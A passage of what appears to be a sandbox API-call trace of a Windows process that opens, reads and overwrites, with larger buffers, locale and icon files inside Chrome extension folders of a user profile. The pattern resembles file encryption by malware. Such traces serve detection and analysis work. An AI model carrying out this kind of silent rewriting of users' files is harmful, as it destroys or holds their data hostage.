lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xff [0051.768] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.768] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.768] ReleaseMutex (hMutex=0x128) returned 1 [0051.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.769] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2b0f2bc*=0xff, lpOverlapped=0x0) returned 1 [0051.769] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.769] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x687, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x687, lpOverlapped=0x0) returned 1 [0051.770] CloseHandle (hObject=0x1ac) returned 1 [0051.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x299 [0051.770] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.770] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.770] ReleaseMutex (hMutex=0x128) returned 1 [0051.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.770] ReadFile (in: hFile=0x1ac, lpBuffer=0x2739318, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x2b0f2bc*=0x299, lpOverlapped=0x0) returned 1 [0051.772] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.772] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x821, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x821, lpOverlapped=0x0) returned 1 [0051.772] CloseHandle (hObject=0x1ac) returned 1 [0051.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1c2 [0051.773] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.773] ReleaseMutex (hMutex=0x128) returned 1 [0051.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.773] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2b0f2bc*=0x1c2, lpOverlapped=0x0) returned 1 [0051.774] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.774] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x74a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x74a, lpOverlapped=0x0) returned 1 [0051.774] CloseHandle (hObject=0x1ac) returned 1 [0051.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.775] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.775] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb4 [0051.775] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.775] ReleaseMutex (hMutex=0x128) returned 1 [0051.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.775] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2b0f2bc*=0xb4, lpOverlapped=0x0) returned 1 [0051.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.776] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x63c, lpOverlapped=0x0) returned 1 [0051.776] CloseHandle (hObject=0x1ac) returned 1 [0051.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.776] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc4 [0051.777] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.777] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.777] ReleaseMutex (hMutex=0x128) returned 1 [0051.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.777] ReadFile (in: hFile=0x1ac, lpBuffer=0x2587108, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2587108*, lpNumberOfBytesRead=0x2b0f2bc*=0xc4, lpOverlapped=0x0) returned 1 [0051.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.778] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x64c, lpOverlapped=0x0) returned 1 [0051.778] CloseHandle (hObject=0x1ac) returned 1 [0051.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xaa [0051.778] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.779] ReleaseMutex (hMutex=0x128) returned 1 [0051.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.779] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2b0f2bc*=0xaa, lpOverlapped=0x0) returned 1 [0051.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.780] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x632, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x632, lpOverlapped=0x0) returned 1 [0051.780] CloseHandle (hObject=0x1ac) returned 1 [0051.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x22c [0051.780] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.781] ReleaseMutex (hMutex=0x128) returned 1 [0051.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_16.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon_16.png", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon_16.png", lpUsedDefaultChar=0x0) returned 11 [0051.781] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2b0f2bc*=0x22c, lpOverlapped=0x0) returned 1 [0051.781] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.782] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x7b4, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x7b4, lpOverlapped=0x0) returned 1 [0051.782] CloseHandle (hObject=0x1ac) returned 1 [0051.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.782] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.782] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x282 [0051.782] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.782] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.782] ReleaseMutex (hMutex=0x128) returned 1 [0051.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.783] ReadFile (in: hFile=0x1ac, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x282, lpOverlapped=0x0) returned 1 [0051.784] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.784] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x80a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x80a, lpOverlapped=0x0) returned 1 [0051.784] CloseHandle (hObject=0x1ac) returned 1 [0051.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.785] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.785] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2c4 [0051.785] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.785] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.785] ReleaseMutex (hMutex=0x128) returned 1 [0051.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.785] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.785] ReadFile (in: hFile=0x1ac, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x2b0f2bc*=0x2c4, lpOverlapped=0x0) returned 1 [0051.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.787] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x84c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x84c, lpOverlapped=0x0) returned 1 [0051.787] CloseHandle (hObject=0x1ac) returned 1 [0051.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0051.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x284 [0051.787] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0051.788] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.788] ReleaseMutex (hMutex=0x128) returned 1 [0051.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.788] ReadFile (in: hFile=0x1ac, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x284, lpOverlapped=0x0) returned 1 [0051.789] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0051.789] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x80c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x80c, lpOverlapped=0x0) returned 1 [0051.789] CloseHandle (hObject=0x1ac) returned 1 [0051.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 